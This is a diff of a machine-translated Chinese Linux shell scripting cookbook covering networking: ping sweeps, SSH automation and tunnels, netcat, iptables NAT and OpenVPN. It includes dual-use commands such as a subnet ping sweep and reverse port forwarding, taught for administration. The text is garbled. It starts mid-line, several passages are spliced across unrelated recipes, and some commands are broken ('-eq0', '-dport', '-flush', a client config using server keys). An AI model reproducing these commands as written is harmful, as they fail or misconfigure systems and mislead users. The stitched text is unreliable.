/dev/null`,因此终端上不打印任何内容。脚本使用`$?`评估退出状态。如果成功,退出状态为`0`,打印回复我们 ping 的 IP 地址。 - -在这个脚本中,一个接一个地为每个地址执行单独的`ping`命令。这导致当 IP 地址没有回复时,脚本运行缓慢,因为每次 ping 都必须等待超时,然后才能开始下一次 ping。 - -# 还有更多... - -接下来的食谱展示了对 ping 脚本的增强以及如何使用`fping`。 - -# 平行销 - -前面的脚本按顺序测试每个地址。每次测试的延迟会累积并变大。并行运行 ping 命令会使速度更快。将循环体封闭在`{}&`中会使`ping`命令并行运行。`( )`封装一组命令作为子 Shell 运行,`&`将其发送到后台: - -```sh -#!/bin/bash -#Filename: fast_ping.sh -# Change base address 192.168.0 according to your network. - -for ip in 192.168.0.{1..255} ; -do - ( - ping $ip -c2 &> /dev/null ; - - if [ $? -eq0 ]; - then - echo $ip is alive - fi - )& - done -wait - -``` - -在`for`循环中,我们执行许多后台进程并退出循环,终止脚本。`wait`命令防止脚本终止,直到其所有子进程退出。 - -The output will be in the order that pings reply. This will not be the numeric order in which they were sent if some machines or network segments are slower than others. - -# 使用 fping - -第二种方法使用不同的命令`fping`。`fping`命令生成 ICMP 消息到多个 IP 地址,然后等待看哪个回复。它比第一个脚本运行得快得多。 - -`fping`可用的选项包括: - -* 带有`fping`的`-a`选项指定显示可用机器的 IP 地址 -* 带有`fping`的`-u`选项指定显示不可到达的机器 -* `-g`选项指定从指定为 IP/掩码或起始和结束 IP 地址的斜线子网掩码符号生成一系列 IP 地址: - -```sh - $ fping -a 192.160.1/24 -g - -``` - -或者,这可以用于: - -```sh - $ fping -a 192.160.1 192.168.0.255 -g - -``` - -* `2>/dev/null`用于将由于主机不可达而打印的错误消息转储到空设备 - -也可以通过`stdin`手动指定一个 IP 地址列表作为命令行参数或列表。考虑以下示例: - -```sh -$ fping -a 192.168.0.1 192.168.0.5 192.168.0.6 -# Passes IP address as arguments -$ fping -a tar -czf - LOCALFOLDER | ssh 'tar -xzvf-' - -``` - -# 在远程机器上运行图形命令 - -如果您试图在使用图形窗口的远程机器上运行命令,您将看到类似于`cannot open display`的错误。这是因为`ssh`Shell 正在尝试(并且失败)连接到远程机器上的 X 服务器。 - -# 怎么做... - -要在远程服务器上运行图形应用,您需要设置`$DISPLAY`变量来强制应用连接到本地机器上的 X 服务器: - -```sh -ssh user@host "export DISPLAY=:0 ; command1; command2""" - -``` - -这将在远程机器上启动图形输出。 - -如果您想在本地计算机上显示图形输出,请使用 SSH 的 X11 转发选项: - -```sh -ssh -X user@host "command1; command2" - -``` - -这将在远程计算机上运行命令,但会在您的计算机上显示图形。 - -# 请参见 - -* 本章中的*无密码 SSH 自动登录*食谱解释了如何配置自动登录来执行命令而不提示输入密码 - -# 通过网络传输文件 - -联网计算机的一个主要用途是资源共享。文件是一种公共共享资源。在系统之间传输文件有不同的方法,从 u 盘和`sneakernet`到网络链接,如 NFS 和桑巴。这些菜谱描述了如何使用常见协议 FTP、s FTP、RSYNC 和 SCP 传输文件。 - -# 准备好 - -默认情况下,在 Linux 安装中,通过网络执行文件传输的命令大多可用。可以使用传统的`ftp`命令或更新的`lftp`通过文件传输协议传输文件,或者使用`scp`或`sftp`通过 SSH 连接传输文件。文件可以通过`rsync`命令跨系统同步。 - -# 怎么做... - -**文件传输协议** ( **FTP** )比较老,很多公共网站都用它来共享文件。该服务通常在端口`21`上运行。FTP 要求在远程计算机上安装并运行 FTP 服务器。我们可以使用传统的`ftp`命令或更新的`lftp`命令来访问支持文件传输协议的服务器。`ftp`和`lftp`都支持以下命令。许多公共网站都使用 FTP 来共享文件。 - -要连接到 FTP 服务器并在其中来回传输文件,请使用以下命令: - -```sh -$ lftpusername@ftphost - -``` - -它将提示输入密码,然后显示登录提示: - -```sh -lftp username@ftphost:~> - -``` - -您可以在此提示符下键入命令,如下所示: - -* `cd directory`:这会改变远程系统上的目录 -* `lcd:`这将改变本地机器上的目录 -* `mkdir`:这将在远程机器上创建一个目录 -* `ls`:这将列出远程机器上当前目录中的文件 -* `get FILENAME`:这将把一个文件下载到本地机器上的当前目录: - -```sh - lftp username@ftphost:~> get filename - -``` - -* `put filename`:这将从远程机器上的当前目录上传文件: - -```sh - lftp username@ftphost:~> put filename - -``` - -* `quit`命令将终止`lftp`会话 - -`lftp`提示支持自动完成 - -# 还有更多... - -让我们来看一下用于通过网络传输文件的其他技术和命令。 - -# 自动文件传输协议传输 - -`lftp`和`ftp`命令打开与用户的交互会话。我们可以通过一个 shell 脚本自动执行 FTP 文件传输: - -```sh -#!/bin/bash - -#Automated FTP transfer -HOST=example.com' -USER='foo' -PASSWD='password' -lftp -u ${USER}:${PASSWD} $HOST <> ~/.ssh/authorized_keys" < ~/.ssh/id_rsa.pub -Password: - -``` - -在前面的命令中提供登录密码。 - -自动登录已经从现在开始设置,所以 SSH 在执行过程中不会提示输入密码。使用以下命令进行测试: - -```sh -$ ssh USER@REMOTE_HOST uname -Linux - -``` - -系统不会提示您输入密码。大多数 Linux 发行版都包含`ssh-copy-id`,它会将您的私钥附加到远程服务器上适当的`authorized_keys`文件中。这比前面描述的`ssh`技术要短: - -```sh -ssh-copy-id USER@REMOTE_HOST - -``` - -# 使用 SSH 的端口转发 - -端口转发是一种将 IP 连接从一台主机重定向到另一台主机的技术。例如,如果您使用 Linux/Unix 系统作为防火墙,您可以将端口`1234`的连接重定向到内部地址,如`192.168.1.10:22`,以提供从外部世界到内部机器的`ssh`隧道。 - -# 怎么做... - -您可以将本地机器上的端口转发到另一台机器,也可以将远程机器上的端口转发到另一台机器。在下面的示例中,一旦转发完成,您将获得一个 shell 提示。保持这个 Shell 打开以使用端口转发,并在您想要停止端口转发时退出它。 - -1. 该命令会将本地机器上的端口`8000`转发到[www.kernel.org](http://www.kernel.org)上的端口`80`: - -```sh - ssh -L 8000:www.kernel.org:80user@localhost - -``` - -用本地计算机上的用户名替换用户。 - -2. 该命令将远程机器上的端口 8000 转发到 www.kernel.org 的端口`80`: - -```sh - ssh -L 8000:www.kernel.org:80user@REMOTE_MACHINE - -``` - -在这里,将`REMOTE_MACHINE`替换为远程机器的主机名或 IP 地址,将`user`替换为您可以通过 SSH 访问的用户名。 - -# 还有更多... - -使用非交互模式或反向端口转发时,端口转发更有用。 - -# 非交互式端口转发 - -如果您只想设置端口转发,而不是在端口转发有效时保持 Shell 打开,请使用以下形式的`ssh`: - -```sh -ssh -fL8000:www.kernel.org:80user@localhost -N - -``` - -`-f`选项指示`ssh`在执行命令之前分叉到后台。`-N`告诉`ssh`没有跑的命令;我们只想转发端口。 - -# 反向端口转发 - -反向端口转发是 SSH 最强大的功能之一。这在您的计算机不能从互联网公开访问,但您希望其他人能够访问该计算机上的服务的情况下非常有用。在这种情况下,如果您可以通过 SSH 访问可在互联网上公开访问的远程计算机,您可以在该远程计算机上设置一个反向端口,以转发到运行该服务的本地计算机。 - -```sh -ssh -R 8000:localhost:80 user@REMOTE_MACHINE - -``` - -该命令将远程机器上的端口`8000`转发到本地机器上的端口`80`。不要忘记将`REMOTE_MACHINE`替换为远程机器的 IP 地址的主机名。 - -使用这种方法,如果您浏览到远程机器上的`http://localhost:8000`,您将连接到运行在本地机器端口`80`上的网络服务器。 - -# 在本地挂载点挂载远程驱动器 - -拥有本地装载点来访问远程主机文件系统有助于读写数据传输操作。SSH 是常见的传输协议。`sshfs`应用使用 SSH 使您能够在本地挂载点挂载远程文件系统。 - -# 准备好了 - -`sshfs`默认情况下不会出现在 GNU/Linux 发行版中。用包管理器安装`sshfs`。`sshfs`是 FUSE 文件系统包的扩展,允许用户像本地文件系统一样装载各种各样的数据。Linux、Unix、Mac OS/X、Windows 等都支持 FUSE 的变体。 - -For more information on FUSE, visit its website at [http://fuse.sourceforge.net/](http://fuse.sourceforge.net/). - -# 怎么做... - -要将远程主机上的文件系统位置装载到本地装载点,请执行以下操作: - -```sh -# sshfs -o allow_otheruser@remotehost:/home/path /mnt/mountpoint -Password: - -``` - -出现提示时,发出密码。接受密码后,可以通过本地挂载点`/mnt/mountpoint`访问远程主机上`/home/path`的数据。 - -要卸载,请使用以下命令: - -```sh -# umount /mnt/mountpoint - -``` - -# 请参见 - -* 本章中的*使用 SSH* 在远程主机上运行命令解释了`ssh`命令 - -# 网络流量和端口分析 - -每个访问网络的应用都是通过端口来访问网络的。列出开放端口、使用端口的应用和运行应用的用户是跟踪系统预期和意外使用的一种方式。这些信息可用于分配资源以及检查 rootkits 或其他恶意软件。 - -# 准备好 - -各种命令可用于列出网络节点上运行的端口和服务。大多数 GNU/Linux 发行版上都有`lsof`和`netstat`命令。 - -# 怎么做... - -`lsof`(列出打开的文件)命令将列出打开的文件。`-i`选项限制其打开网络连接: - -```sh -$ lsof -i -COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE - NAME - -firefox-b 2261 slynux 78u IPv4 63729 0t0 TCP - localhost:47797->localhost:42486 (ESTABLISHED) - -firefox-b 2261 slynux 80u IPv4 68270 0t0 TCP - slynux-laptop.local:41204->192.168.0.2:3128 (CLOSE_WAIT) - -firefox-b 2261 slynux 82u IPv4 68195 0t0 TCP - slynux-laptop.local:41197->192.168.0.2:3128 (ESTABLISHED) - -ssh 3570 slynux 3u IPv6 30025 0t0 TCP - localhost:39263->localhost:ssh (ESTABLISHED) - -ssh 3836 slynux 3u IPv4 43431 0t0 TCP - slynux-laptop.local:40414->boney.mt.org:422 (ESTABLISHED) - -GoogleTal 4022 slynux 12u IPv4 55370 0t0 TCP - localhost:42486 (LISTEN) - -GoogleTal 4022 slynux 13u IPv4 55379 0t0 TCP - localhost:42486->localhost:32955 (ESTABLISHED) - -``` - -`lsof`输出中的每个条目对应一个具有活动网络端口的服务。输出的最后一列由类似如下的行组成: - -```sh -laptop.local:41197->192.168.0.2:3128 - -``` - -在该输出中,`laptop.local:41197`对应于`localhost`,`192.168.0.2:3128`对应于远程主机。`41197`是当前机器上使用的端口,`3128`是服务在远程主机上连接的端口。 - -要列出当前机器上打开的端口,请使用以下命令: - -```sh -$ lsof -i | grep ":[0-9a-z]+->" -o | grep "[0-9a-z]+" -o | sort | uniq - -``` - -# 它是如何工作的... - -grep 的`:[0-9a-z]+->`正则表达式从`lsof`输出中提取主机端口部分`(:34395-> or :ssh->)`。下一个`grep`删除左冒号和右箭头,留下端口号(由字母数字组成)。多个连接可能通过同一个端口出现,因此,同一端口的多个条目可能出现。输出经过排序并通过`uniq`显示每个端口一次。 - -# 还有更多... - -有更多的实用程序报告开放端口和网络流量的相关信息。 - -# 使用 netstat 打开端口和服务 - -`netstat`还返回网络服务统计。它有许多超出本食谱范围的特点。 - -使用`netstat -tnp`列出已开通的端口和服务: - -```sh -$ netstat -tnp -Proto Recv-Q Send-Q Local Address Foreign Address - State PID/Program name - -tcp 0 0 192.168.0.82:38163 192.168.0.2:3128 - ESTABLISHED 2261/firefox-bin - -tcp 0 0 192.168.0.82:38164 192.168.0.2:3128 - TIME_WAIT - - -tcp 0 0 192.168.0.82:40414 193.107.206.24:422 - ESTABLISHED 3836/ssh - -tcp 0 0 127.0.0.1:42486 127.0.0.1:32955 - ESTABLISHED 4022/GoogleTalkPlug - -tcp 0 0 192.168.0.82:38152 192.168.0.2:3128 - ESTABLISHED 2261/firefox-bin - -tcp6 0 0 ::1:22 ::1:39263 - ESTABLISHED - - -tcp6 0 0 ::1:39263 ::1:22 - ESTABLISHED 3570/ssh - -``` - -# 测量网络带宽 - -之前对`ping`和`traceroute`的讨论是关于测量网络的延迟和节点之间的跳数。 - -`iperf`应用为网络性能提供了更多指标。默认情况下不安装`iperf`应用,但它由大多数发行版的包管理器提供。 - -# 怎么做... - -`iperf`应用必须安装在链路的两端(主机和客户端)。一旦安装了`iperf`,启动服务器端: - -```sh -$ iperf -s - -``` - -然后运行客户端来生成吞吐量统计: - -```sh -$ iperf -c 192.168.1.36 ------------------------------------------------------------- -Client connecting to 192.168.1.36, TCP port 5001 -TCP window size: 19.3 KByte (default) ------------------------------------------------------------- -[ 3] local 192.168.1.44 port 46526 connected with 192.168.1.36 port 5001 -[ ID] Interval Transfer Bandwidth -[ 3] 0.0-10.0 sec 113 MBytes 94.7 Mbits/sec - -``` - -`-m`选项指示`iperf`也找到**最大传输大小** ( **MTU** ): - -```sh -$ iperf -mc 192.168.1.36 ------------------------------------------------------------- -Client connecting to 192.168.1.36, TCP port 5001 -TCP window size: 19.3 KByte (default) ------------------------------------------------------------- -[ 3] local 192.168.1.44 port 46558 connected with 192.168.1.36 port 5001 -[ ID] Interval Transfer Bandwidth -[ 3] 0.0-10.0 sec 113 MBytes 94.7 Mbits/sec -[ 3] MSS size 1448 bytes (MTU 1500 bytes, ethernet) - -``` - -# 创建任意套接字 - -对于文件传输、安全 shell 等操作,有 ftp、`ssh`等预建工具。我们还可以编写自定义脚本作为网络服务。下一个方法演示了如何创建简单的网络套接字并将其用于通信。 - -# 准备好 - -`netcat`或`nc`命令将创建网络套接字,通过 TCP/IP 网络传输数据。我们需要两个套接字:一个监听连接,另一个连接到监听器。 - -# 怎么做... - -1. 使用以下命令设置侦听套接字: - -```sh - nc -l 1234 - -``` - -这将在本地机器的端口`1234`上创建一个监听套接字。 - -2. 使用以下命令连接到套接字: - -```sh - nc HOST 1234 - -``` - -如果您在与监听套接字相同的机器上运行此程序,请将`HOST`替换为 localhost,否则将其替换为机器的 IP 地址或主机名。 - -3. 在执行第 2 步的终端上输入内容并按下*进入*。该消息将出现在您执行步骤 1 的终端上。 - -# 还有更多... - -网络插座不仅可以用于文本通信,如以下部分所示。 - -# 通过网络快速复制文件 - -我们可以利用`netcat`和 shell 重定向在网络上复制文件。该命令将向监听机器发送一个文件: - -1. 在侦听计算机上,运行以下命令: - -```sh - nc -l 1234 >destination_filename - -``` - -2. 在发送方计算机上,运行以下命令: - -```sh - nc HOST 1234 /proc/sys/net/ipv4/ip_forward - -``` - -这就创建了一个网桥,允许数据包从`eth0`发送到`eth1`并返回。在网桥有用之前,我们需要将这个网桥添加到路由表中。 - -在`10.0.0.0/24`网络中的机器上,我们向`192.168.1.0/16`网络添加一条路由: - -```sh -route add -net 192.168.1.0/16 gw 10.0.0.2 - -``` - -`192.168.1.0/16`子网的机器需要知道如何找到`10.0.0.0/24`子网。如果为 IP 地址`192.168.1.2`配置了`eth0`卡,路由命令如下: - -```sh -route add -net 10.0.0.0/24 gw 192.168.1.2 - -``` - -# 共享互联网连接 - -大多数防火墙/路由器都能够与您家中或办公室的设备共享互联网连接。这叫做**网络地址转换** ( **NAT** )。一台带有两张**网络接口卡** ( **网卡**)的 Linux 电脑可以充当路由器,提供防火墙保护和连接共享。 - -内核内置的 iptables 支持提供了防火墙和 NAT 支持。这个食谱介绍了`iptables`的一个食谱,通过无线接口共享一台计算机的以太网链接到互联网,让其他无线设备通过主机的以太网网卡访问互联网。 - -# 准备好了 - -本食谱使用`iptables`定义一个**网络地址转换** ( **NAT** ,它让一个网络设备与其他设备共享一个连接。您将需要无线接口的名称,该名称由`iwconfig`命令报告。 - -# 怎么做... - -1. 连接到互联网。在本食谱中,我们假设主有线网络连接`eth0`连接到互联网。根据您的设置进行更改。 -2. 使用发行版的网络管理工具,使用以下设置创建一个新的临时无线连接: - - * IP 地址:10.99.66.55 - -* 子网掩码:255.255.0.0 (16) - -3. 使用以下 Shell 脚本共享互联网连接: - -```sh - #!/bin/bash - #filename: netsharing.sh - - echo 1 > /proc/sys/net/ipv4/ip_forward - - iptables -A FORWARD -i $1 -o $2 \ - -s 10.99.0.0/16 -m conntrack --ctstate NEW -j ACCEPT - - iptables -A FORWARD -m conntrack --ctstate \ - ESTABLISHED,RELATED -j ACCEPT - - iptables -A POSTROUTING -t nat -j MASQUERADE - -``` - -4. 运行脚本: - -```sh - ./netsharing.sh eth0 wlan0 - -``` - -这里`eth0`是连接到互联网的接口,`wlan0`是应该与其他设备共享互联网的无线接口。 - -5. 使用以下设置将您的设备连接到刚刚创建的无线网络: - * IP 地址:10.99.66.56(以此类推) - * 子网掩码:255.255.0.0 - -To make this more convenient, you might want to install a DHCP and DNS server on your machine, so it's not necessary to configure IPs on devices manually. A handy tool for this is `dnsmasq`, which performs both DHCP and DNS operations. - -# 它是如何工作的 - -有三组供非路由使用的 IP 地址。这意味着互联网上没有可见的网络接口可以使用它们。它们仅由本地内部网络上的机器使用。地址为`10.x.x.x`、`192.168.x.x`和`172.16.x.x-> 172.32.x.x`。在这个食谱中,我们使用了内部网络的一部分`10.x.x.x`地址空间。 - -默认情况下,Linux 系统会接受或生成数据包,但不会回应它们。这由值`in/proc/sys/net/ipv4/ip_forward`控制。 - -将`1`回显到该位置会告诉 Linux 内核转发它无法识别的任何数据包。这允许`10.99.66.x`子网上的无线设备使用`10.99.66.55`作为它们的网关。他们将发送一个以互联网网站为目的地的数据包到`10.99.66.55`,然后由`eth0`的网关转发到互联网,再路由到目的地。 - -`iptables`命令是我们与 Linux 内核的 iptables 子系统交互的方式。这些命令添加了将所有数据包从内部网络转发到外部世界以及将预期的数据包从外部世界转发到我们的内部网络的规则。 - -下一个食谱将讨论更多使用 iptables 的方法。 - -# 使用 iptables 的基本防火墙 - -防火墙是一种网络服务,用于过滤网络流量中不需要的流量,阻止它,并允许需要的流量通过。Linux 的标准防火墙工具是`iptables`,在最近的版本中集成到内核中。 - -# 怎么做... - -`iptables`在所有现代 Linux 发行版上默认存在。很容易针对常见场景进行配置: - -1. 如果不想联系给定的站点(例如,已知的恶意软件站点),您可以阻止到该 IP 地址的流量: - -```sh - #iptables -A OUTPUT -d 8.8.8.8 -j DROP - -``` - -如果您在另一个终端中使用`PING 8.8.8.8`,那么通过运行`iptables`命令,您将看到以下内容: - -```sh - PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. - 64 bytes from 8.8.8.8: icmp_req=1 ttl=56 time=221 ms - 64 bytes from 8.8.8.8: icmp_req=2 ttl=56 time=221 ms - ping: sendmsg: Operation not permitted - ping: sendmsg: Operation not permitted - -``` - -这里,ping 第三次失败,因为我们使用`iptables`命令将所有流量丢弃到`8.8.8.8`。 - -2. 您还可以阻止到特定端口的流量: - -```sh - #iptables -A OUTPUT -p tcp -dport 21 -j DROP - $ ftp ftp.kde.org - ftp: connect: Connection timed out - -``` - -如果你在你的`/var/log/secure`或`var/log/messages`文件中发现这样的信息,你有一个小问题: - -```sh - Failed password for abel from 1.2.3.4 port 12345 ssh2 - Failed password for baker from 1.2.3.4 port 12345 ssh2 - -``` - -这些信息意味着一个机器人正在你的系统中寻找弱密码。您可以使用输入规则阻止机器人访问您的站点,该规则将丢弃该站点的所有流量。 - -```sh - #iptables -I INPUT -s 1.2.3.4 -j DROP - -``` - -# 它是如何工作的... - -`iptables`是用于在 Linux 上配置防火墙的命令。`iptables`中的第一个参数是-A,它指示`iptables`将新规则附加到链中,或者是-I,它将新规则放在规则集的开头。下一个参数定义了链。链是规则的集合,在早期的配方中,我们使用了`OUTPUT`链,它是针对传出流量进行评估的,而最后一个配方使用了`INPUT`链,它是针对传入流量进行评估的。 - -`-d`参数指定与正在发送的数据包相匹配的目的地,`-s`指定数据包的来源。最后,`-j`参数指示`iptables`跳到特定动作。在这些示例中,我们使用 DROP 操作来丢弃数据包。其他动作包括`ACCEPT`和`REJECT`。 - -在第二个例子中,我们使用`-p`参数来指定这个规则只匹配用`-dport`指定的端口上的 TCP。这只会阻碍`FTP`的对外交通。 - -# 还有更多... - -您可以使用`-flush`参数清除对`iptables`链所做的更改: - -```sh -#iptables -flush - -``` - -# 创建虚拟专用网络 - -一个**虚拟专用网** ( **虚拟专用网**)是一个跨公共网络运行的加密通道。加密使您的信息保密。VPN 用于连接远程办公室、分布式制造站点和远程工作人员。 - -我们已经和`nc`,或者`scp`,或者`ssh`讨论过复制文件。使用虚拟专用网络,您可以通过 NFS 安装远程驱动器,并像访问本地资源一样访问远程网络上的资源。 - -Linux 有几个 VPN 系统的客户端,以及 OpenVPN 的客户端和服务器支持。 - -本节的食谱将描述如何设置 OpenVPN 服务器和客户端。这个方法是配置单个服务器,以在中心和分支模型中服务多个客户端。OpenVPN 支持更多超出本章范围的拓扑。 - -# 准备好 - -OpenVPN 不是大多数 Linux 发行版的一部分。您可以使用软件包管理器安装它: - -```sh -apt-get install openvpn - -``` - -或者,也可以使用此命令: - -```sh -yum install openvpn - -``` - -请注意,您需要在服务器和每个客户端上执行此操作。 - -确认隧道设备(`/dev/net/tun`)存在。在服务器和客户端系统上进行测试。在现代 Linux 系统上,隧道应该已经存在: - -```sh -ls /dev/net/tun - -``` - -# 怎么做... - -设置 OpenVPN 网络的第一步是为服务器和至少一个客户端创建证书。处理这种情况最简单的方法是使用 OpenVPN 2.3 版之前版本中包含的`easy-rsa`包制作自签名证书。如果您有更高版本的 OpenVPN,`easy-rsa`应该可以通过包管理器获得。 - -这个包大概安装在`/usr/share/easy-rsa`里。 - -# 创建证书 - -首先,确保您有一个干净的记录,没有以前安装留下的任何东西: - -```sh -# cd /usr/share/easy-rsa -# . ./vars -# ./clean-all - -``` - -NOTE: If you run `./clean-all`, I will be doing a `rm -rf` on `/usr/share/easy-rsa/keys`. - -接下来,使用`build-ca`命令创建**证书颁发机构**密钥。该命令将提示您输入站点的信息。你必须多次输入这个信息。用您的姓名、电子邮件、网站名称等代替这个食谱中的值。命令之间所需的信息略有不同。只有独特的部分将在这些食谱中重复: - -```sh -# ./build-ca -Generating a 2048 bit RSA private key -......+++ -.....................................................+++ -writing new private key to 'ca.key' ------ -You are about to be asked to enter information that will be incorporated -into your certificate request. -What you are about to enter is what is called a Distinguished Name or a DN. -There are quite a few fields but you can leave some blank -For somefieldsthere will be a default value, -If you enter '.', the field will be left blank. ------ -Country Name (2 letter code) [US]: -State or Province Name (full name) [CA]:MI -Locality Name (eg, city) [SanFrancisco]:WhitmoreLake -Organization Name (eg, company) [Fort-Funston]:Example -Organizational Unit Name (eg, section) [MyOrganizationalUnit]:Packt -Common Name (eg, your name or your server's hostname) [Fort-Funston CA]:vpnserver -Name [EasyRSA]: -Email Address [me@myhost.mydomain]:admin@example.com - -Next, build the server certificate with the build-key command: -# ./build-key server -Generating a 2048 bit RSA private key -..................................+++ -.....................+++ -writing new private key to 'server.key' ------ -You are about to be asked to enter information that will be incorporated -into your certificate request.... - -Please enter the following 'extra' attributes -to be sent with your certificate request -A challenge password []: - -``` - -为至少一个客户端创建证书。对于希望连接到此 OpenVPN 服务器的每台计算机,您需要一个单独的客户端证书: - -```sh -# ./build-key client1 -Generating a 2048 bit RSA private key -.......................+++ -.................................................+++ -writing new private key to 'client1.key' ------ -You are about to be asked to enter information that will be incorporated -into your certificate request. -... - -Please enter the following 'extra' attributes -to be sent with your certificate request -A challenge password []: -An optional company name []: -Using configuration from /usr/share/easy-rsa/openssl-1.0.0.cnf -Check that the request matches the signature -Signature ok -The Subject's Distinguished Name is as follows -countryName :PRINTABLE:'US' -stateOrProvinceName :PRINTABLE:'MI' -localityName :PRINTABLE:'WhitmoreLake' -organizationName :PRINTABLE:'Example' -organizationalUnitName:PRINTABLE:'Packt' -commonName :PRINTABLE:'client1' -name :PRINTABLE:'EasyRSA' -emailAddress:IA5STRING:'admin@example.com' -Certificate is to be certified until Jan 8 15:24:13 2027 GMT (3650 days) -Sign the certificate? [y/n]:y - -1 out of 1 certificate requests certified, commit? [y/n]y -Write out database with 1 new entries -Data Base Updated - -``` - -最后,用`build-dh`命令生成**迪菲-赫尔曼**。这将需要几秒钟的时间,并会生成几个充满点和加号的屏幕: - -```sh -# ./build-dh -Generating DH parameters, 2048 bit long safe prime, generator 2 -This is going to take a long time -......................+............+........ - -``` - -这些步骤将在密钥文件夹中创建几个文件。下一步是将它们复制到将要使用的文件夹中。 - -将服务器密钥复制到`/etc/openvpn`: - -```sh -# cp keys/server* /etc/openvpn -# cp keys/ca.crt /etc/openvpn -# cp keys/dh2048.pem /etc/openvpn - -``` - -将客户端密钥复制到客户端系统: - -```sh -# scp keys/client1* client.example.com:/etc/openvpn -# scp keys/ca.crt client.example.com:/etc/openvpn - -``` - -# 在服务器上配置 OpenVPN - -OpenVPN 包括几乎可以使用的示例配置文件。您只需要为您的环境定制几行代码。文件常见于`/usr/share/doc/openvpn/examples/sample-config-files`: - -```sh -# cd /usr/share/doc/openvpn/examples/sample-config-files -# cp server.conf.gz /etc/openvpn -# cd /etc/openvpn -# gunzip server.conf.gz -# vim server.conf - -``` - -设置要监听的本地 IP 地址。这是连接到网络的网卡的 IP 地址,您打算通过它来允许 VPN 连接: - -```sh -local 192.168.1.125 -Modify the paths to the certificates: - -ca /etc/openvpn/ca.crt -cert /etc/openvpn/server.crt -key /etc/openvpn/server.key # This file should be kept secret - -``` - -最后,检查`diffie-hellman`参数文件是否正确。OpenVPN 示例`config`文件可以指定一个 1024 位长度的密钥,而`easy-rsa`创建一个 2048 位(更安全)的密钥。 - -```sh -#dh dh1024.pem -dh dh2048.pem - -``` - -# 在客户端配置 OpenVPN - -每个客户端上都有一组类似的配置。 - -将客户端配置文件复制到`/etc/openvpn`: - -```sh -# cd /usr/share/doc/openvpn/examples/sample-config-files -# cpclient.conf /etc/openvpn - -``` - -编辑`client.conf`文件: - -```sh -# cd /etc/openvpn -# vim client.conf - -``` - -将证书的路径更改为指向正确的文件夹: - -```sh -ca /etc/openvpn/ca.crt -cert /etc/openvpn/server.crt -key /etc/openvpn/server.key # This file should be kept secret - -``` - -为您的服务器设置远程站点: - -```sh -#remote my-server-1 1194 -remote server.example.com 1194 - -``` - -# 启动服务器 - -服务器现在可以启动了。如果一切配置正确,您将看到它输出几行输出。要找的重要线是`Initialization Sequence Completed`线。如果缺少该选项,请在输出中查找前面的错误消息: - -```sh -# openvpnserver.conf -Wed Jan 11 12:31:08 2017 OpenVPN 2.3.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on Nov 12 2015 -Wed Jan 11 12:31:08 2017 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08... - -Wed Jan 11 12:31:08 2017 client1,10.8.0.4 -Wed Jan 11 12:31:08 2017 Initialization Sequence Completed - -``` - -使用`ifconfig`,可以确认服务器正在运行。您应该会看到列出的隧道设备(调谐器): - -```sh -$ ifconfig -tun0 Link encap:UNSPECHWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 -inet addr:10.8.0.1 P-t-P:10.8.0.2 Mask:255.255.255.255 - UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 - RX packets:0 errors:0 dropped:0 overruns:0 frame:0 - TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:100 - RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) - -``` - -# 启动和测试客户端 - -服务器运行后,您可以启动客户端。和服务器一样,OpenVPN 的客户端是用`openvpn`命令创建的。同样,该输出的重要部分是`Initialization Sequence Completed`线: - -```sh -# openvpn client.conf -Wed Jan 11 12:34:14 2017 OpenVPN 2.3.4 i586-pc-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on Nov 19 2015 -Wed Jan 11 12:34:14 2017 library versions: OpenSSL 1.0.1t 3 May 2016, LZO 2.08... - -Wed Jan 11 12:34:17 2017 /sbin/ipaddr add dev tun0 local 10.8.0.6 peer 10.8.0.5 -Wed Jan 11 12:34:17 2017 /sbin/ip route add 10.8.0.1/32 via 10.8.0.5 -Wed Jan 11 12:34:17 2017 Initialization Sequence Completed - -``` - -使用`ifconfig`命令,可以确认隧道已经初始化: - -```sh -$ /sbin/ifconfig - -tun0 Link encap:UNSPECHWaddr 00-00-00-00-00-00-00-00...00-00-00-00 -inet addr:10.8.0.6 P-t-P:10.8.0.5 Mask:255.255.255.255 - UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1500 Metric:1 - RX packets:2 errors:0 dropped:0 overruns:0 frame:0 - TX packets:4 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:100 - RX bytes:168 (168.0 B) TX bytes:336 (336.0 B) - -``` - -使用`netstat`命令确认新网络路由正确: - -```sh -$ netstat -rn -Kernel IP routing table -Destination Gateway Genmask Flags MSS Window irttIface -0.0.0.0 192.168.1.7 0.0.0.0 UG 0 0 0 eth0 -10.8.0.1 10.8.0.5 255.255.255.255 UGH 0 0 0 tun0 -10.8.0.5 0.0.0.0 255.255.255.255 UH 0 0 0 tun0 -192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 - -``` - -该输出显示连接到`10.8.0.x`网络的隧道设备,网关为`10.8.0.1`。 - -最后,您可以使用`ping`命令测试连通性: - -```sh -$ ping 10.8.0.1 -PING 10.8.0.1 (10.8.0.1) 56(84) bytes of data. -64 bytes from 10.8.0.1: icmp_seq=1 ttl=64 time=1.44 ms - -``` \ No newline at end of file diff --git a/docs/linux-shell-script-cb/09.md b/docs/linux-shell-script-cb/09.md deleted file mode 100644 index 562243d4..00000000 --- a/docs/linux-shell-script-cb/09.md +++ /dev/null @@ -1,1540 +0,0 @@ -# 九、戴上监控器的帽子 - -在本章中,我们将介绍以下食谱: - -* 监控磁盘使用情况 -* 计算命令的执行时间 -* 收集有关登录用户、引导日志和引导失败的信息 -* 列出一小时内消耗 CPU 最多的十个进程 -* 用手表监控命令输出 -* 记录对文件和目录的访问 -* 使用系统日志记录 -* 用`logrotate`管理日志文件 -* 监控用户登录以发现入侵者 -* 监控远程磁盘使用状况 -* 确定系统上的活动用户小时数 -* 测量和优化功耗 -* 监控磁盘活动 -* 检查磁盘和文件系统是否有错误 -* 检查磁盘运行状况 -* 获取磁盘统计信息 - -# 介绍 - -计算系统是一组硬件和控制它的软件组件。该软件包括分配资源的操作系统内核和许多执行单个任务的模块,从读取磁盘数据到服务网页。 - 